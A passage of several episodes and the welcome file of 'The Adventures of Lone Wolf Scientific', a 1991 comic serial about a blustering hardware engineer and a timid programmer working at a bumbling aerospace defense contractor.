Andrew.BAS was glueing a plastic model of the space-
shuttle together when his officemate burst in. "Gus and I
just had a man-to-man talk," S-max bragged, referring to
their boss, Gus Farwick. "Or should I say--" He smirked
pompously. "--technological-innovator-to-technological-
innovator?" The self-proclaimed 'genius computer builder'
plopped a tin can full of kite string on his desk. "Gus has
assigned me to a most urgent task. The very fate of
technological civilization may hinge upon its successful
completion."
"Yeah?" the programmer looked up, impressed.
S-max smirked again. He tossed his large, bushy head
for effect. "I am to keep track of the super-string links
between key components of our multi-billion dollar defense
network. I am to ensure that expensive weapons do not fall
prey to big hairy knots on the battlefield." He continued
on breathlessly, "Gus no doubt chose me for this important
task, not only because of my much legended electronic
genius, but also for my extensive knowledge of cosmological
string theory." He grunted with self-importance. "I will
no doubt be working on the project for days. You probably
won't be hearing a lot from me."
Andrew.BAS nodded agreeably, looking back to the half-
built plastic shuttle model propped on the floor by his
knees. He liked the idea of not hearing from the loquacious
computer builder for a while. For the past four days, all
S-max had been doing was shuffling around the office,
ranting about how computer programmers like Andrew.BAS were
intellectually inferior to genius computer hardware
designers such as himself. He called them "brains-in-a-
wristwatch programmers." It would be good not to have to
listen to that for a while.
S-max blurted, "I bet it is a good feeling to know that
you have an officemate who is already getting in good with
the boss."
"I suppose," Andrew.BAS said politely. Inwardly, he
couldn't help feel envious that the computer builder now had
work to do while he did not.
"Employers love me," S-max continued brightly. "They
are continually showering me with goodies." He pointed in
illustration to the can of kite string on his desk.
Andrew.BAS smiled wanly. "I'm very happy for you."
S-max stuffed his big hands in his army jacket pockets.
He swaggered across the room. Arriving at his half-
completed "champagne-filled Jacuzzi" sitting in the corner
on the floor, he gazed fondly at its tangle of jet
propellers, lawn sprinklers, and half-drained bottles of
bubble bath. "It was no doubt my vision for twenty-first
century technology--of which this is a prime example--that
excited Gus the most." He idly disentangled the cockpit "No
Smoking" sign from the three-legged bathtub.
"I wouldn't be surprised," Andrew.BAS mused, pouring
over the shuttle model assembly blueprints.
S-max spotted the plastic cargo shuttle bay with its
miniature satellite that Andrew.BAS's clenched. "Please,
take that vile thing away, out of my sight," he commanded,
motioning to it. "I don't want to be reminded of our space
program's gross ineptitude in refusing to avail itself of
the free advise of a computer genuis such as myself." He
shuddered at the memory of his ejection, months prior, from
the employment office at NASA. One moment he had been
advising the space program on how to secure its forty-ton
satellites in the space shuttle during transport ("Use duct
tape--lots of it."), and the next they were escorting him
and all his broken screwdrivers to the door. He shuddered
again. And to think, if they'd played their cards right,
they could have also have had him for a commander on the
space shuttle.
Andrew.BAS compliantly tucked the miniature cargo bay
out of sight in a nearby cardboard box.
From the other side of the office, they heard strains
of "Chariots of Fire." It sounded ghostly. It was their
officemate, burnt out assembly language savant Austin
Jellowack, humming the company song, "Onward Dingready
Soldiers, As Sung to Chariots of Fire." With each passing
day, Austin seemed to sink lower and lower behind his
computer terminal, his arthritic knuckles rattling over the
worn, dirty keys faster and faster, as if the more he saw of
his new officemates, the more frightened he became.
Ignoring him, S-max shuffled back to his desk. He
pulled from his jacket's inside pocket a wide roll of paper.
With loud, self-important rustles, he smoothed it out on the
desk. He traced a finger over the blueish paper, back and
forth several times, emitted a "Hmmph!" of thought, then
stared at it intently, rubbing his stubbled chin. Finally
he said to Andrew.BAS, "These are blueprints for a multi-
billion dollar weapon sytem. I sweet-talked them out of the
receptionist at the front desk."
The programmer looked up skeptically. "The receptionist
had blueprints for a multi-billion dollar weapon system?"
"They were entrusted to her in case of an attack by
barbarians. The last place barbarians would look for secret
multi-billion dollar weapon plans would be in the top drawer
of a receptionist's desk. Clever, don't you think?"
Andrew.BAS lifted his small, blond head to get a look
at the alleged multi-billion dollar blueprints. "Isn't that
one of the posters that Dingready & Derringdo mails to
college job placement offices to help recruit employees?"
S-max eyed the paper skeptically.
Andrew.BAS walked over and pointed out a small drawing
at the bottom. It depicted a gaggle of recent engineering
school graduates holding their moon helmets. "And look at
this plane," he added, pointing to a graceless craft with a
missing propeller and which looked like it had been shot
down over Cleveland. Passengers, adorned in hombergs and
1954 suits and dresses, slid down a big orange inflated
slide propped against its side. They were sliding into the
ocean, or else jumping out the door in parachutes.
Andrew.BAS explained, "It's a poster that shows how to exit
a Dingready & Derringdo plane in an emergency. Don't you
see the company motto on the bottom?" He pointed to it. It
said "Courtesy of Dingready & Derringdo Aerospace. We're
there on the ground when you need us."
The computer builder scrutinized it further. He knit
his thick brows in disbelief. Finally he gasped, "Why
you're right, Andrew.BAS! I should have spotted it
immediately! As I'm sure you're aware, these college
recruitment posters are often indistinguishable from plans
for multi-billion dollar weapon systems. Defense
contractors like Dingready & Derringdo often print up plans
for multi-billion dollar weapon systems at the same time
that they print up college recruitment posters--so as to
save on the cost of silk-screening." He grunted.
"Consequently, the two frequently become confused. It was
an easy mistake to make. I am glad you caught it in the
nick of time, though, before I spent <<endless hours>>
pencilling in a radar navigation system or a computer
telemetry system. Think of it! I could have frittered away
enormous amounts of my high-paid electronic genius designing
a telemetry system for a plane that specializes in
transporting floppy hatted nudniks to Miami Beach." With a
cluck of childlike admiration, he added, "My, you are
perceptive for a computer programmer, aren't you? I
wouldn't have guessed that a programmer such as yourself
could unriddle such an intellectual subtlety without the
profligate singing of Sesame Street songs." He grunted
again. "Usually, computer programmers are not very bright."
Andrew.BAS ignored the offensive S-max and returned to
his model space shuttle on the floor.
S-max jammed the so-called "blue prints" into a desk
drawer. Arising from his desk with the hautiness of a
lion, he sauntered over to Andrew.BAS's model space shuttle
and eyed it critically. He circled it several times.
Finally, he exclaimed, "No, no, Andrew.BAS, you are doing it
all wrong!" He wagged a finger in reprimand. "Before you
glue on the plastic landing wheels you need to mark off your
launch ground. Migod, don't they teach you people
<<anything>> at programmers' school?! I can hardly believe
what I am seeing." From a screwdriver-stuffed pocket, he
extracted a gnarled hunk of red chalk. It looked like the
kind of red chalk usually responsible for indecipherable
writing on the walls of circuit closets. With a loud sigh
of exasperation, he leaned over and began chalking on the
concrete floor--circles, stars, arrows, lines, ellipses,
x's, triangles, Mickey Mouse ears, two stick figures, dollar
signs, a heart with an arrow through it, something that
looked like the coast of Africa, and a maze-like runway in
the shape of an Aztec lizard. All the while, he clucked in
artistic self-fulfillment.
Andrew.BAS watched him in astonishment.
Finally, the computer builder stood up, brushed the
chalk from his baboonish hands, and surveyed the now
bruised-looking floor in pride. "That will do it, now
you're set," he proclaimed, shuffling back to his desk.
In relief, Andrew.BAS resumed glueing plastic wheels on
his shuttle model.
S-max, meanwhile, once again took a seat behind his
desk, extracted the crumpled "weapon system blue prints"
from the drawer, and began sketching a telemetry system onto
the plane.
For several moments, the only sound was the screech-
screech of S-max's green laundry marker and the off-key
humming of the assembly language savant in the corner.
Soon, Andrew.BAS spotted the computer builder once
again eyeing his plastic space shuttle dolefully.
"Now what's wrong?"
"You need a Mission Control."
"A Mission Control?"
"Yes, a Mission Control. One with a lot of expensive
computer consoles."
"I see."
"It is absolutely imperative that we have one,
Andrew.BAS! The authenticity of the project depends upon
it!"
"But we already have a launch ground," Andrew.BAS
protested, nodding toward the ravished floor.
S-max ignored him and pointed to the closet directly
behind him. "It would fit perfectly in the coat closet."
"The Mission Control?"
"I am not talking about that collection of Cracker Jack
prizes you refer to as programming tools!" he burst out.
"Yes, the Mission Control."
Andrew.BAS stared at the coat closet in apprehension.
He could see it now: the deranged computer builder stuffing
it full of lawn sprinklers and radio-antenna festooned
bathtubs, just like his champagne-filled Jacuzzi. He would
probably scheme a way to install an electrical outlet which
he would proceed to dangerously overload. All that
Andrew.BAS could think of saying, though, was, "Where are we
going to store our snowboots in the winter?"
S-max rumbled, "Migod, you programmers are such old
maids! <<Where are we going to store our snowboots?>>" he
whined in mimicry of the programmer's soft-voiced protest.
"This is not the time for trifles! This is not the time to
worry about where we're going to store our rubber boots!
Now is the time for action!"
"I see," Andrew.BAS reflected calmly. It really wasn't
such a bad idea, he mused, building a miniature Mission
Control to go with his miniature space shuttle. It could
serve as a monument to all the computer programmers who work
so hard in Mission Control coding the computer software that
speeds man across the galaxy. Whenever he looked at it he
could think of his life-long dream--to be one of the
programmers in Mission Control. Finally, he asked, "What
should we build it out of?"
As the waifish Andrew.BAS struggled to push the
shopping cart loaded with toy robots down the aisle, S-max
bustled ahead of him through the hobby store. "Let's
see..." he mused, plucking a plastic rocketship off the
shelf, "we still need a moon rover, an all-terrain planetary
recreational vehicle, and something with extra-large
tailpipes in which to roll over the plains of Saturn in
style."
"I thought we were only building a Mission Control."
"Migod, Andrew.BAS!" the blowsy S-max despaired.
"Don't you realize that when you bring an unvarnished
computer genius like me into a project, one visionary
concept is going to just naturally flow into another?"
"I'm sorry, I didn't realize that."
"Well it is something you're going to have to become
accustomed to." The computer builder snorted. He snatched
from a shelf several handfuls of rubber snakes and lizards
and heaved them into the cart. Ever since they had arrived
at Loose-Toothed Lonzo's Crazy Crafts and War Games, S-max
had been animated with the glee of a newly installed diety
about to jerry-build a brandnew Creation out of craft paste
and 25 cent felt pieces. He paraded down the aisles,
tossing into their shopping cart every plastic gewgaw that
caught his eye.
"What are those for?" Andrew.BAS asked of the snakes.
"For the model of the Mojave Desert rocket test grounds
that we will erect in the wasteland that is the second floor
marketing department."
The programmer groaned. Not only did S-max plan to
build a model of Mission Control in their office coat
closet, but now he also wanted to transform second floor
marketing into a rocket test grounds, as well as make the
the janitor's closet down the hall into a space-ship airlock
by hanging rubber octopus from the ceiling--to simulate
space creatures trying to sneak into the ship. How did he
ever let himself get mixed up in this? Andrew.BAS wondered.
The computer builder's restless eyes fell on a plaster
bust of John F. Kennedy. It was wedged between two ready-
to-paint birdhouses on a shelf. He seized it with
satisfaction. "This will make an ideal prop for the TV
announcer's room that we can build in the vault down the
hall from our office."
"You mean the vault where they lock the engineering
blueprints?"
"Yes, that is the one. It is perfectly insulated to
keep the raucous of ill-behaved TV people from disturbing
the men and women of technological vision in Mission
Control. It also has a pretty good lock." He nestled the
bust of the technologically far-seeing president beneath the
shopping cart beside the case of silver spray-paint.
Pushing the overloaded cart further down the aisle,
Andrew.BAS repeated one of the questions that had troubled
his sensible mind all through their shopping spree. "How are
we going to pay for all this junk?"
"I wouldn't worry about it, Andrew.BAS," came the hasty
response. "I'm sure our employee has a credit line here."
"Why would an aerospace company have a credit line at
Loose-Toothed Lonzo's Crazy Crafts & War Games?"
"Trust me, Andrew.BAS, I have worked for defense
contractors before. Where else but the local hobby shop are
they going to procure their instant paper mache'?"
All through the drive home (they discovered that
Dingready & Derringdo Aerospace did indeed have a credit
line at Lonzo's), S-max chattered away about how they could
expand their depictions of NASA operations beyond the coat
closet, beyond the marketing department, beyond the
blueprint vault, beyond even the janitor's closet. "We can
hot-glue plastic diplodocuses around Gus Farwick's office to
similate the halls of Congress pitifully frozen in the
technological Stone Age. We can affix broken hand-mirrors
to that model of the <<Hindenburg>> in the employee
cafeteria to make it look like a dysfunctional space
telescope...."
When they finally arrived back at work, Andrew.BAS
stumbling beneath a heavy load of shopping bags, S-max
sauntering ahead of him as nonchallantly as a man with no
burdens in the world, the computer builder proceeded to
spent the rest of the day lying on his stomach on the floor,
modeling from clay misbegotten little figures that were
supposed to be NASA employees, but looked more like
casualties of an atomic blast. Andrew.BAS, meanwhile,
spray-painted his and S-max's tennis shoes silver to make
them look like moon boots.
All the while, their officemate, Austin Jellowack,
watched them fearfully from behind his computer terminal, as
he hummed broken bars of the company song, assumedly for
comfort. When S-max finally tired of this dirge-like
crooning, he seized the startled Austin by the t-shirt
collar, shoved a shopping bag full of mirrors and glue gun
in his withered hands, then dragged the frail, monkish
programmer out the door and down the hall to the employee
cafeteria. There he deposited him in front of the model of
the <<Hindenburg>> with vague instructions to transform it
into "something we can all enjoy."
The model-builders worked late into the night. Whoever
passed by their office and spotted the dim, yellow light
burning solemnly through the mottled glass window of the
door, marvelled at the employees' zest for work and how they
were applying themselves so diligently to the problems of
our nation's high-tech defense. Some no doubt commented to
themselves that the government was for once getting its
money's worth from Dingready & Derringdo Aerospace and, as
far as the military contractor was concerned, they were
probably correct.
>>>>In the next episode, "The House Guest with 172 Soldering
Irons," Andrew.BAS naively offers the homeless S-max a place
to sleep. The two reluctant confreres are not even out of
the employee parking garage when he begins to regret it.<<<<
<Finis>

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----------------------------------------------
"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. All rights reserved. May
not be distributed without accompanying
WELCOME.LWS and EPISOD.LWS files.
-----------------------
EPISODE #10
Tense Moments In Mission Control
>>A tense morning at Dingready & Derringdo Aerospace is made
even more so by a visit from boss Gus Farwick. Clipboard
and camera in hand, the conniving engineer manager is busy
compiling documentation to terminate the employment of his
two least favorite research engineers.<<
By M. Peshota
When S-max and Andrew.BAS finally arrived at work that
morning, the two new housemates were grimacing with
exasperation at the other.
"I don't know why you had to motion to that fool driver
to cut in front of us just because a Flight for Life
helicopter was landing in his lane," the computer builder
huffed, referring to their tumultous drive to work on the
freeway.
"How was I supposed to know that you'd run him off the
road, pull him from his car, and throw him down an
embankment?" the programmer protested.
"Drivers who cut in front of one should be dealt with
firmly," S-max grunted with self-satisfaction.
It was 11:45, and already the day seemed long and
wearying. As they were preparing for work, the computer
builder announced that he had misplaced his favorite T-
shirt.
"I can't leave the house without my T-shirt!" he had
cried, pawing frantically through the piles of computer
documentation that fell from the kitchen shelves. "I can't
go <<anywhere>> without my T-shirt. I've designed some of
my greatest computers while wearing that shirt. I wore it
when I wired my first parallel circuit. I wore it when I
used up my first roll of duct tape. I wore it through my
entire seventeen years at MIT! I can't design state-of-the-
art digital electronics without it!"
In his composed, rational way, Andrew.BAS asked, "Don't
you have another shirt to wear?"
"Noooo!" the computer builder moaned. "I've never even
owned another shirt!"
They searched the house for nearly an hour looking for
S-max's shirt, ripped, dirty, pungeant with the smells of
sweat and shorted out electronics, so faded its color was
now the lost, bland hue of every computer in existence.
Across its front was a weathered infinity sign. On the back
was a grape stain shaped like the North American continent.
"My shirt! My poor lost shirt!" S-max howled all the while,
as they kicked their way through piles of electrical
schematics, sifted through boxes of tangled electrical
instruments, shined flashlights under S-max's tattered R and
D couch. "My shirt!" he cried, growing more frantic as the
hunt progressed.
They eventually found his T-shirt. It was wadded up
inside the mouth of his electric tuba.
"I must have tossed it in there when I took a shower
last night," the computer builder speculated, extracting it
from the tarnished, dented instrument. He slipped it over
his puffy chest. "I was standing in this very spot last
night when I took it off."
"And it never occurred to you to check the place where
you took it off?" his miffed housemate asked.
S-max looked at the programmer bewilderedly. "No, why
should it have?" He grunted. "Computer geniuses such as
myself have more important things to collect in our massive
amounts of intellect than remembrances of the last time we
absently tossed something into the mouth of an electric
tuba."
A few minutes later, S-max announced that he had
misplaced his walkie-talkie. "My beloved walkie-talkie!" he
wailed, and the hunt began again.
Once the computer builder had located his walkie-talkie
(it was found stashed beneath a dusty cushion of his
research couch), and clipped it to his belt, he tied his
tennis shoes in double-knots, then proceeded to the door and
announced that he planned on strapping the twenty-gallon
drum of liquid marshmallow that Andrew.BAS had bequeathed
him the night before, and which was apparently refuse of a
college fraternity prank, inside the satellite dish on the
roof of his van. He planned to store it in his parking
space at work.
"I don't know if you've noticed, Andrew.BAS," he said,
flinging clothesline over the drum of marshmallow and the
satellite dish which held it, "but my designated employee
parking space is a very large one. It is much larger than
yours. This is no doubt because I am an innovator of
tomorrow's computer technology, while you--" He sniffed.
"--are a mere computer programmer."
"Don't you want to take the Robin Hood hat and tights
with you too?" his housemate asked with emotionlessly
uninflected sarcasm, referring to the costume portion of the
fraternity prank arsenal heap in their livingroom.
S-max turned and gazed in indecision at the drooping
porch where his electric tuba sat. The green tights dangled
from its dented lips like the legs of a half-swallowed
leprechaun. "You know, you're absolutely right. I had
better bring them to work too. I just may need them in my
expanding role as innovator of tomorrow's technology." He
hurried back to the house to get the tights, while the
programmer gloomed that his mornings would be like this
forever on unless he rid himself of this noxious houseguest.
When the computer builder returned, he offered
Andrew.BAS a ride to work. The latter refused, having
already witnessed a horrific display of his officemate's
driving skill, but the overbearing inventor insisted. When
Andrew.BAS mulishly refused to climb into his shell-torn
van, S-max threatened to follow him down the road on his
"cute-as-a-programmer's-lunchbox motor-scooter" and run him
over. Knowing that the headstrong S-max was fully capable
of this, Andrew.BAS sighed and obligingly crawled into the
front seat.
When he glanced down at the seat to learn more of the
nature of the pile of refuse upon which he sat, he was
horrified to see that it was a heap of unpaid, overdue
traffic tickets. When he searched for the seat belt, he
found it knotted around the personal computer that was
jammed next to him in the seat. The computer's monitor was
smashed as though it had gone careening through the
windshield.
When the driver ahead of them on the freeway creeped
along at a mere fifteen miles per hour over the speed limit,
S-max pounded the horn, poked his wild-maned head out the
window, and threatened to drown the other driver in twenty
gallons of marshmallow. "Don't think I carry this twenty
gallon drum of marshmallow and giant wok on top of my van
just so I can make idle threats!" he had screamed.
By the time they arrived at work, the two officemates
where barely speaking to each other--except for sporadic
quibbling about how S-max had gotten lost on the freeway and
driven to the research complex of the wrong high-tech
defense contractor.
"I tell you, Andrew.BAS, they most certainly changed
the layout of that cloverleaf since the last time I drove
around it," the computer builder insisted.
"But we ended up in a different state!" Andrew.BAS
wailed.
"But it did give us the opportunity to view many
fascinating historic landmarks on the way," he grunted
optimistically.
"Two of which you ran over," the programmer reminded
him, referring to the wishing well and park bandstand which
were now piles of dusty timber and trellis branded with the
crooked treadmarks of muddy van wheels.
Reaching their office, they found their boss, Gus
Farwick, waiting for them. He was pacing the floor with a
clipboard, his usually monotonous face pinched in grief.
Oddly, he didn't seem particularly concerned that the two
research engineers were nearly four hours late for work.
Instead, he held up two of the rubber snakes that S-max had
glued to the defense contractor's hall floor to make it
resemble a space shuttling landing strip. "Who is
responsible for these?" he demanded.
S-max pushed in front of Andrew.BAS and raised his hand
proudly. "I am," he said. "It was my idea from start to
finish. So were the two plastic diplodocuses hot-glued to
each side of your desk. Andrew.BAS had absolutely nothing
to do with it."
Farwick recalled the dinosaurs. He had not been amused
upon arriving at work that morning, to discover a computer
paper banner stretched over his office door proclaiming
"Facsimile of the Halls of Congress Frozen in the
Technological Stone Age." He glared at the alleged computer
genius with malevolence. "I thought it was you," he
breathed.
S-max whispered to Andrew.BAS, "Gus is no doubt so
impressed with my work transforming his office into an
authentic miniature replica of the halls of Congress frozen
in the technological Stone Age that he is about to put me in
charge of yet another multi-billion dollar defense project
upon which the fate of western civilization hinges. I
advise you to listen closely. You may learn a great deal
from this encounter" He turned to the coal-eyed bureacrat.
"We started out just building a model of NASA's Mission
Control in the coat closet--" He pointed to the closet
crowded with green Gumbys clenching paper airplanes. "But
as you know, with unvarnished computer geniuses like me, one
visionary concept just naturally flows into another."
"Yes, I often marvel at the phenomenon." The engineer-
manager looked around the office. He glimpsed at the half-
finished plastic model of the space shuttle propped
unsteadily on ice cream stick scaffolding, the shuttle
landing strips chalked on the floor with baroque confusion,
and the plaster bust of John F. Kennedy sitting on the
computer genius's desk, an outline of a pocket protector
cartooned on its chest with a laundry marker. He noted on
his clipboard that it looked lonely and afraid. He pulled a
miniature camera from his pocket, and, walking around the
room, began snapping pictures. S-max whispered to his
officemate, who was watching the proceedings fearfully. "Gus
is no doubt going to distribute these pictures to other
defense contractors to brag about our operations here."
The engineer-manager asked the computer builder to pose
in front of the Mission Control model, and the army jacketed
S-max walked over to the closet and stood in front of it
proudly. He raised his chain, tucked his hand in the
opening of his faded jacket Napolean-like, and propped a
sneakered foot on the space shuttle model like a big game
hunter posing with his kill. Farwick snapped an entire roll
of pictures.
The manager then turned to Andrew.BAS and asked him if
he would also like to be in some pictures, but before the
terrified programmer could reply, S-max blurted, "No,
Andrew.BAS would <<not>> like to be in any pictures. He
contributed absolutely nothing of significance to this
breathtaking project. He couldn't even glue plastic lizards
on the floor correctly."
Andrew.BAS felt relieved.
Their boss was about to leave when S-max suggested,
"Why don't you take some pictures of my desk too? It is
quite unique. There are many quaint patterns and rare
bibelot that have gone into its decoration." He pointed
with pride to the battered gray metal desk pushed into the
epicenter of the office. An antedeluvian computer terminal
with an askew, blinking copper screen and moose antlers
glued to its crown was enthroned upon it. Farwick circled
the desk with fascination.
From the old terminal's monitor bobbed red fur dice.
Its keys were caked with solder and littered with metal
shavings. From the back of the machine a long radio antenna
protruded tail-like. "The Motorola Z80 Chip Lives!" was
spray-painted in black on the side of the terminal. On the
other side was sprayed a long black arrow pointing back and
around to the power switch on the rear. A big X was painted
over the power switch. Stuck to the other side of the
terminal was a bumper sticker that read "Honk If You Want
Complete Schematics." On the top was one that said "Follow
Me to the Gallium Arsenide." A sticker was glued in a
corner of the terminal's neon-bright screen. It that read
"NO PROGRAMMERS" and showed a red circle around and a line
drawn through a stick figure with pimples. Standing beside
the terminal was voodoo doll. It was also full of pimples.
It had been stuck full of capacitors. The desk's linoleum
top was scarred with long, hideous soldering burns. Frayed
wires and dogeared electrical schematics fell from all its
drawers. The desk chair was covered with fake zebra fur.
Farwick a full roll of pictures of S-max's desk, as well as
close-ups of the programmer-voodoo doll and the "Motorola
Z80 Chip Lives!" bumper sticker.
As the smiling engineer-manager prepared to leave, he
told the computer builder to inform him <<immediately>>
whenever he embarked on another engineering project like the
Mission Control in the coat closet. S-max gladly promised
to do so. His boss then asked him for directions to the
stall in the parking garage where his battered van was
parked. "Just look for the satellite dish filled with
liquid marshmallow," S-max bragged. "You can't miss it."
Farwick left, clipboard and camera in hand, looking happier
than he had since S-max began working for him.
The computer builder turned to his visibly worried
officemate. "It's too bad <<you>> can't be a genius
computer hardware designer too," he gloated, "then people
would be wanting you to pose for pictures in front of the
many things that had been touched by your engineering
creativity."
"I don't think my personnel folder is quite ready for
something like that," Andrew.BAS sighed. He feared that his
and S-max's employment at the defense contract was about to
come to a close.
<Finis>
>>>>In the next episode of "The Adventures of Lone Wolf
Scientific," trouble starts when computer genius S-max
discovers that the cans of twine that his boss has put him
in charge of are not "super-string links between key defense
systems," but plain old kite-string that the engineeer-
manager has given the mischevious computer builder to keep
him occupied and out of trouble.<<<<

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----------------------------------------------
"The Adventures of Lone Wolf Scientific"
--------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. May not be distributed
without accompanying WELCOME.LWS and
EPISOD.LWS files.
----------------------
EPISODE #2
----------------------
The Second Renaissance of Space Exploration
Technology and What Happened To It
>>Bashful boychild software engineer Andrew.BAS stumbles
unwittingly into the neurosis and smashed dreams of the
military-industrial complex. Within days, he loses his soul
while waiting for a government security clearance.<<
By M. Peshota
File cabinets lined the walls, the air bled entropy.
It was a place of brilliant men sentenced to long hours of
ineffectualness, their eyes red from filling out government
forms. One man who noticed neither the defeat in the faces
that surged past him, nor heard the cynicism in the workers'
early morning plaints was Andrew Sebastian, or Andrew.BAS
for short. Clad in a crisp white engineer's shirt and a
gray junior men's department suit, he strode
enthusiastically across the lobby, placed his briefcase on
the floor beside him at the receptionist's desk, leaned over
and whispered to the woman behind it, "I am here to begin
engineering the second renaissance of space exploration
technology. Where should I go?"
The woman glanced up in surprise. "Is someone
expecting you?"
"I would suppose so," he said, "because someone offered
me a job."
Andrew.BAS was just out of college with a degree in
computer software engineering and Dingready & Derringdo
Aerospace was the first firm to offer him a job. They
were the ones who ran in all the engineering magazines the
ads that pictured powerful rockets blasting through space,
manned by recent engineering school graduates. They
were the ones who mailed him the recruitment brochures
filled with showy oil paintings of space stations twirling
rhapsodically towards the Pleiades, manned by recent
engineering school graduates. They were the ones who
corresponded with him on stationary on which the words
"space" and "innovation" were spelled in three-inch
high capital letters and superimposed over silhouettes
of recent engineering school graduates holding their moon
helmets. Since Andrew.BAS did not get the job he wanted
most--that of mission commander on the space shuttle--he
took the next thing that came along and that was the
engineering post at Dingready & Derringdo Aerospace.
The engineer-manager was growing cross. Already he was
starting to dislike the kid computer programmer with the
dreamy blue eyes and effusion of freckles, cowlicks, and
dimples who looked like the kind of kid programmer Norman
Rockwell would have drawn had he drawn computer programmers.
He grumped, "You showed up for work a day early. Dingready
& Derringdo doesn't like new employees who show up for work
earlier than scheduled."
"My apologies," Andrew.BAS proffered. "I was anxious to
begin engineering the second renaissance of space
exploration technology. I'm sure you know how it is." He
smiled.
The engineer-manager wanted to snap that no, he did not
know how it is. He did not know <<anything>> about the
second renaissance of space technology. Being an engineer-
manager who preferred to keep his nose safe in a file
cabinet and far from the primal chaos of the heavens, he did
not want to know anything either, and he was sick of dimpled
programmers like this one asking about it. He suspected
that the second whatever-it-was had something to do with the
employee recruitment brochures that Dingready & Derringdo
mailed to colleges. Usually, any problems with new computer
programmers could be traced to those.
Andrew.BAS continued, "If you'll just show me to my
office, I'll get to work right away on the underground
Neptunian launch pads."
The manager gloomed. Oh, why were kid programmers
always like this? He snapped, "The underground Neptunian
launch pads will have to wait." Then he turned to the
receptionist and asked her if she had any forms that the new
employee could fill out. Since she did not, Andrew.BAS was
sent home.
When Andrew.BAS arrived at work the second day, he
learned of yet another obstacle in the way of the second
renaissance of space exploration technology. That was that
he needed a government security clearance. The need of a
government security clearance shouldn't have surprised
Andrew.BAS. Afterall, Dingready & Derringdo Aerospace was a
government defense contractor, and defense contractors tend
to like their employees to have security clearances. It was
just that Andrew.BAS had never had anyone not trust him
before. Indeed, for most of his young life he had listened
to other people tell him how trustworthy and responsible he
was, how, if they were trapped in a faulty spaceship airlock
and it was ten minutes to rocketman heaven, they would want
Andrew.BAS to be the one to go find Captain Picard or Mr.
Spock (it was mostly other engineering students who told him
this). Now Dingready & Derringdo was telling him that they
had to run a background check on everything from his program
editor to his ping pong paddle before they could even tell
him where the men's washroom was.
For the rest of the day, the cherub-cheeked computer
programmer slumped despondently in a folding chair in a
corner of the defense contractor's lobby, rereading his
college engineering texts, thumbing through the moon colony
blueprints in his briefcase, waiting for his security
clearance, and brooding about what a rotten start the second
renaissance of space exploration technology was having. His
spirits improved by the following day, though, for he knew
that once he arrived in the fusty lobby of the defense
contractor, his government security clearance would be
waiting for him and it would be but minutes before he was
festooning his office walls with Neil Armstrong posters and
ordering parts for inter-galactic transports. When
Andrew.BAS arrived at work, however, he learned that, not
only did he not yet have a government security clearance,
but no one could tell him when and if he would ever get one.
"Does this mean that I won't be able to schedule any
lunar docking maneuvers over the weekend?" he asked the
receptionist.
She eyed him coolly. "What you do on your own time is
the least of my concerns."
Each morning, for the next seven-and-a-half months,
Andrew.BAS would arrive promptly at eight in the lobby of
the defense contractor, take a seat in the folding chair
and, for the next eight-and-three-quarters hours, rework the
moon colony blueprints in his briefcase, daydream about the
second renaissance of space exploration technology, and wait
for his security clearance.
As he did so he watched the shabby parade of fly-bitten
technocrats lurch past him in the morning and again in the
evening, and prayed fervently that he never became one of
them, but by month eight of his vigil he knew with a
perditious dread that he had grown as irretrievably rumpled,
cynical, and dull-eyed as them. His once lily white shirt,
spotless as hope itself, pressed smooth as the courage
requested on Line 147 of the NASA employment application,
impeccably wrinkle-free as a space age engineer's optimism,
was now as blighted as that of a man who has just crawled
from a train wreck. The pencils in his pockets refused to
line up straight anymore, no matter how hard he tried to
make them do so. His once rosy, downy cheeks were now the
sickly hue of hemlock grown in a prison yard. His formerly
perfect posture was now squashed over like a linear equation
crushed between two elevator doors. He hardly ever combed
his scraggly blond bangs to look like Bill Gates' anymore.
Andrew.BAS had once been a man who often forgot, thanks
to the effusiveness of a busy imagination, that ninety
percent of the world that man has begot is built of
institutional blank walls, but now his mind curdled into
that blankness, bloated with apathy, became
indistinguishable from the hopeless plaster around him.
Before he knew it, all that he had once studied for, all he
had dreamed of--the days of hammering silver-sleek rockets,
firing sun-powered planet probes, launching space
exploration's long-awaited second renaissance when everyone
would wear white space suits and look very brave and
Andrew.BAS himself would spend long afternoons bounding
childlike over moony terrains, bearing a big American flag,
seemed to him, like the dogeared moon colony blueprints on
his lap, rather silly, like the delusions of a man who has
stayed up too late too often prattling about blackholes with
college chums, a man who has, rather pathetically, worn
Project Apollo patches stitched to his windbreaker long
after everyone has told him that he and the world both are
too old for that kind of thing. Finally, one day, the young
engineer removed the moon colony blueprints from his
briefcase, and tossed them away. He knew his soul was lost.
>>>In the next episode, "When Men of Destiny Meet,"
Andrew.BAS befriends another new employee who also failed to
get a job on the space shuttle.>>>>
<Finis>

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Welcome to "The Adventures of Lone Wolf Scientific"
-------------------------------------------------
Copyright 1991 M. Peshota
-----------------------------
In a perfect world, S-max and Andrew.BAS would be
mission commanders on the space shuttle, but due to the
ineptitude of Fate, the computer hardware engineer and the
programmer wind up working for a government defense
contractor instead. When they lose their jobs, thanks to
the hardware hacker's shenanigans, they start a high-tech
company.
"The Adventures of Lone Wolf Scientific" is a bi-weekly
chronicle of a computer startup where technological
innovation never comes without a measure of chaos. In the
coming months, you'll meet S-max, Lone Wolf Scientific's
Macchiavellian Head of Hardware who plots to change the
world with his Rube Goldbergish inventions, his soft-spoken
programmer sidekick, Andrew.BAS, who names all his programs
after successful Apollo flights, and Congressman Boris Q.
Popinrath, a technology gunho politician who finds in Lone
Wolf Scientific the only reason he can give constituents to
re-elect him.
"The Adventures of Lone Wolf Scientific" is an
electronically syndicated series. New installments appear
every two weeks (barring any misadventures on the part of
the author) on better computer bulletin boards and
electronic online services everywhere.
You'll find the latest installments of "The Adventures
of Lone Wolf Scientific" in:
Exec-PC's "Free to Unregistered Callers
Software Collection" and "Mahoney
Collection"
414/789-4210, PC Pursuitable
You don't have to be a registered
user in order to download the
Adventures of LWS
GEnie's "Telejoke" Roundtable, Library #2,
the Computer & Science collection
as well as on numerous participating bulletin boards.
(Because of the delays associated with posting files in the
software collections on GEnie, installments may not appear
there until several days after their release date. The best
place from which to download episodes is Exec-PC.) "The
Adventures of Lone Wolf Scientific" can no longer be found
on CompuServe since the service discontinued its WITSIG
forum.
If you would like "The Adventures of Lone Wolf
Scientific" to be uploaded to your BBS/online service free
